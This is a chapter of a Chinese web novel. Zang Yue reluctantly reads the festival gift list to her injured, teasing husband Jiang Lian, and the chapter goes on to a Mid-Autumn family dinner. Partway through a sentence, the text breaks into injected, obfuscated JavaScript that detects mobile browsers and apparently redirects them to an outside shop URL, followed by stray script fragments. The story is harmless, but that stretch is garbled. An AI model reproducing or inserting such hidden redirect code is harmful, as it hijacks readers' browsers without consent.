25. 这人24K纯有病!
作品:《指挥使夫人,今日和离成功了吗?》 藏月尤其着恼拖着不给她放妾书,不让她离开宣威府的江敛。
她在江敛病中又提过一次分开,江敛自然又给她打回来了。
中秋节前的几日,按惯例是要往亲近的朋友或者同僚家中,提前送节礼。
自然有往就有来,旁人也会差人拿着拜帖和节礼送上门。
不外乎是月团、佳酿、茶以及新鲜水果一类,同现代也没有太大差别。
往年都一直送的,该送就送呗。府里管事多年来操办惯了的。
按说没什么难度,几年来也没藏月什么事儿。
可今年那管事却拿着礼单来问她意见,让她定夺。
她定夺什么呀定夺。
她哪里知道江敛跟谁亲疏远近啊,也不懂各家喜好,一看整个就是抓瞎。
她让管事拿去找江敛亲自确认,管事办事竟突然不利索不痛快起来。
临了,还又突发状况,管事还让人给提前拉走。
藏月叹气,只好亲自跑一趟漱石居。
她敲门后,小厮给开的门。
小厮出门将门带上,藏月才瞧见江敛仍旧躺趴在榻上。
头朝里偏着,再靠近些能听见他气息有些粗。
也不知方才她进门前,这厮在干什么。
门外的小厮对此也很疑惑。
方才藏夫人敲门前,大人分明在桌边看书。看得好好的,突然就丢下书往床榻按去,手忙脚乱趴上床榻装睡。
他要不想见,大可直接将人打发走,理由都是正当且现成的,为何要费心费力整这出?
想不通,小厮挠着头走了。
屋内。
“大人?”藏月试探地唤他一声。
江敛没应。
她连唤两声大人,江敛都没吱声。
等她翻着白眼换成一声“夫君”,人才终于给出反应,缓缓偏过头来,却是一副睡眼惺忪的样子。
藏月给他时间缓神,等他再打起两分精神后才说明来意。
江敛却不接她茬,只说要喝水。
于是,她便放下礼单,耐着性子给人倒水,递过去。
江敛却不接,拉过她端水的手。
低头靠近,随即就着藏月的手,将那杯大茶瓯里的热茶饮尽。
藏月:“?”
这人24K纯有病!
她暗骂一句。
要不是看在他身上有伤,她早翻脸了。
江敛用手指擦擦嘴角水渍,看她脸色:“夫人只怕是在心中骂我呢!”
他用的陈述句,嘴角还微微咧着。
藏月也冲他咧嘴,只是皮笑肉不笑,也没否认。
她将茶瓯搁下,再次拿起礼单,递给他:“大人看看吧,有不妥之处,我再叫吴管事更改。”
明明吴管事可以直接来找江敛询问,偏要通过她这个中间人。
又不是能赚差价的中间商,也不知意义何在。
江敛还是不接。
他面色正常,但在藏月眼里,却是一副讨人厌的癞皮狗模样。
说自己眼睛发花,看不清,又说仰着脖子看,背上伤口会扯着疼,让藏月一家一家给他念。
藏月拳头都硬了,想把礼单直接丢他脸上。
她还没发作呢,他先开口威胁上了:“宫里这两日应该也会派人来赏赐节礼。”
咋的,他还要趁机告状啊?
是可忍孰不可忍。
于是强权之下,藏月重新再忍。
好汉可不能吃这眼前亏。
“乾定将军府,御赐仿绍酒,两坛,姑苏八珍团圆饼,一匣,西湖龙井前芽,四罐;闵宅,苏式百果饼,一匣,寿生酒两坛,《文选》影抄本,一部,湖州文房四宝,一堂……”
念着念着,藏月才觉出有哪里不对。
她以为江敛这煞神,定然交好者不多。
没曾想,这礼单上来往的人,有高官显贵人家,也有平头百姓之家,竟如此之多。
“前两位是恩师,一武一文,后面多为父亲母亲从前的老部下。”江敛不问自答。
藏月:“?”
她也没问他,更没有要打听的意思啊!
她并不想太过介入他的生活,只盼两人能像从前那样,各过各的,相安无事便好。
也不知这人近来是哪根筋撘错了,总是没事找事!
藏月腹诽,还是听他将素有往来的人家细数了个遍,这下是亲疏远近,什么都搞明白了。
事毕,藏月起身。
“其实,我觉得吧,有个人,应该比我更适合了解这些。”她好意提醒一句。
说话间,她将长长的礼单再次卷起,轻轻握在手里。
“在我这里,没人比夫人更适合,”江敛却誓要与她唱反调,“下月二十,是个万事皆宜的好日子,不如我将你……”
“大人好生休息,我先去做事。”藏月硬声打断他,倒腾两条腿,迅速离开这是非之地。
“帮我把门带上啊。”人都跑远了,江敛还冲着洞开的门大喊一声。
他说话时,保持侧向的姿势,用一只手撑着脑袋,盯着门口,目不转睛,双眼含笑,颇有点怡然自得的意味。
下一瞬,门口人影一晃,一袭藕色倩影轻盈踏入门槛,出现在他面前。
他脸上的笑意,瞬间消失,随即又快速换上一个更灿烂两分的笑,不过眉宇轻拧,眼底更是一片死寂。
“江敛哥,”岑之薇进门就甜甜叫他,“你今日感觉好些了吗?我叫裁缝上门来给你量尺寸,定制寿宴要穿的新衣,没提前跟你说,你不会生气吧?”
江敛目光僵硬移至她面上,笑:“不会,你做任何事,我都不会生气。”
岑之薇习惯地上前拉他手,轻晃:“我就知道,江敛哥对我最好了。”
江敛:“是……吗啊。”
江敛语言上已经出现轻微对抗。
如果藏月在场,一定觉得江敛像个语言系统出现故障的机器人。
帮忙处理礼单之事,倒是也有好处,藏月大开眼界。
就是容易眼馋,嘴也馋。
藏月看着什么新鲜的东西想尝尝,府中管事看她满眼好奇,跟个孩子似的,无有不笑的,言语宠溺地怂恿她这也试试,那也拿走,缺的便叫人再送来就是。
藏月不知,江敛早就吩咐下去,有什么藏月瞧得上的,紧着她先挑,不够的再补。
藏月瞧着那套文房四宝,的确很想要。
但她也知晓,临近节日,许多东西都紧俏,不欲给人添麻烦,只在一旁帮忙清点归置,绝不拿一针一线,看看便好。
管事事后去回禀江敛,说了好些藏月的好话,事事亲力亲为,十分上心,还检查出两处放错的地方。
实乃那两种酒包装颜色太过相近,但价格却天上地下,送错,恐一方礼轻得罪人,另一方又太贵重有负担。
闲来正在擦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885670|190881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拭自己佩剑的江敛,手上动作一顿,不由失笑。
这人在他面前一副不情不愿的样子,真负责做起事情来,却是半点不含糊,对事有交代。
后晌,藏月窝在书房里继续画拟人形态的寿字小画。
一个水榭之隔的江敛,也登至漱石居正房后的二楼观景台。
观景台窗户的一角,正好能瞧见藏月书房的窗户,视线能穿过洞开的窗口,虽然瞧不大清书桌前人脸上的表情,但却能将人的动作看得一清二楚。
藏月多数时候是在伏案认真写画涂,偶尔会习惯性拿一支干净的笔,用空闲的左手转着玩。
江敛见过人盘文玩,却没见人拿笔来转着玩。
手边正好有根棍子,他也拿在手里小试一把。
右手还行,速度慢一些,节奏稳一点,也能转起来。
可左手就显得吃力,通常转一圈就会掉。
但藏月却能将重量并不均匀的毛笔,用左手转得像陀螺一般,不时还能顶在指尖让笔一直转。
这过程里,还不耽误右手继续写涂画。
不过,她也有失误之时。
比如一时忘记,误拿了右手写字的那杆笔,一转,墨汁飞溅,必定一片狼藉,手忙脚乱,某人也会因此在原地暴跳如雷。
藏月心疼衣裳、纸张以及其他外物的声音,与丫鬟们的哄笑声,隐约间传来,鲜活得很,倒叫江敛生出几分羡慕。
她这些样子,从不会主动来他面前显露。
他去时,她也会停止在做的事,像某个池子里原本欢脱的活虾,突然见到生人靠近,立马藏起自己好游动的本性,强迫自己融入周围静止的一切里。
那几个与她朝夕相处的丫鬟,却能时常瞧见,真好。
思索间,江敛端起银质大茶瓯饮下一口茶,落杯,他笑意未敛的眼角,带上几分落寞,临了又含几分憧憬。
他将视线落向宣威府前院,宣威府之外,落在杏雨巷,又去向更远的地方,仿佛看到了很远很远的未来。
等他回过神来,才发现这是一种多么陌生的情愫,他从前几乎感受不到,如今却似能抓住一点,但只要有一点,他便能为此高兴许久。
好似现在。
中秋当日。
宫城里,皇帝设宴,百官携家眷作陪,宴饮舞乐,好不热闹。
宫城外,百姓们团圆吃家宴,赏灯猜谜,一片盛世好景象。
宣威府里也难得热闹。
往年中秋,都是去老宅过的。
要么江敛自己去,要么江敛大发善心,带着原主一起。
今年,江敛后背有伤,还不能太长时间站立或者端坐,老太君怜惜孙儿,便自己受累,上门来陪两个小的。
藏月好为自己操持吃喝。
中秋节这日,一家老小,吃的喝的,半数以上皆是藏月自己动手所做。
古人吃食,其实很有档次。
藏月不敢自不量力与其相提并论,她所长,只图个新鲜。
点心、肉菜以及饮品端上桌,连老太君这个严格守食戒,尊崇过午少食之人,都食指大动,愣是叫嬷嬷多添一碗饭,吃了个开怀。
饭用得差不多,藏月连着讲了一堆笑话,逗得老太君一晚上,见牙不见眼。
待撤了席面,她又搬出一群钩织娃娃,在桌上排成军队。
老太君眼神灼灼盯着她和“军队”,颇有兴致,想看看她葫芦里到底卖的什么药。

